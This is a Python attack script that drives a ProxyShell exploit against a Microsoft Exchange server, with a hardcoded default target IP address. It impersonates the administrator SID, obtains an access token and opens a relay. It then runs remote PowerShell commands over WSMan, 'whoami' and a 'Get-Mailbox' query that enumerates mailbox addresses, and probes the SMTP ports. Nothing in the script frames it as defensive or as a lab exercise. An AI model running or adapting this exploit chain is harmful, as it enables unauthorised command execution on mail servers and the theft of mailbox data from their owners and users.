#!/usr/bin/env python3
import sys, re, time, random, socket, smtplib
sys.path.insert(0, '.')
import ps_driver as P

ip = sys.argv[1] if len(sys.argv) > 1 else '179.1.102.69'
ps = P.ProxyShell(f"https://{ip}", timeout=15)
print("fqdn:", ps.get_fqdn())
print("legacydn:", ps.get_legacydn())
print("email:", ps.email)
sid = ps.get_sid()
print("sid:", sid, "admin_sid:", ps.admin_sid)
ps.sid = ps.admin_sid
tok = ps.get_token()
print("token:", "OK" if tok else "FAIL")

# start relay and run a simple powershell cmd
port = random.randint(20000, 40000)
srv = P.start_server(ps, port)
time.sleep(1)
print("=== WSMan test: whoami ===")
try:
    out, err = P.wsman_shell("whoami", port)
    print("OUT:", [str(o) for o in out])
    print("ERR:", [str(e) for e in err])
except Exception as e:
    print("wsman error:", repr(e))

print("=== WSMan test: Get-Mailbox (first) ===")
try:
    out, err = P.wsman_shell("Get-Mailbox -ResultSize 1 | Select-Object -ExpandProperty PrimarySmtpAddress", port)
    print("OUT:", [str(o) for o in out])
    print("ERR:", [str(e) for e in err])
except Exception as e:
    print("wsman error:", repr(e))

print("=== SMTP connectivity ===")
for p in (25, 587):
    try:
        s = socket.create_connection((ip, p), timeout=8)
        banner = s.recv(200)
        print(f"port {p} OPEN banner={banner!r}")
        s.close()
    except Exception as e:
        print(f"port {p} fail: {e}")
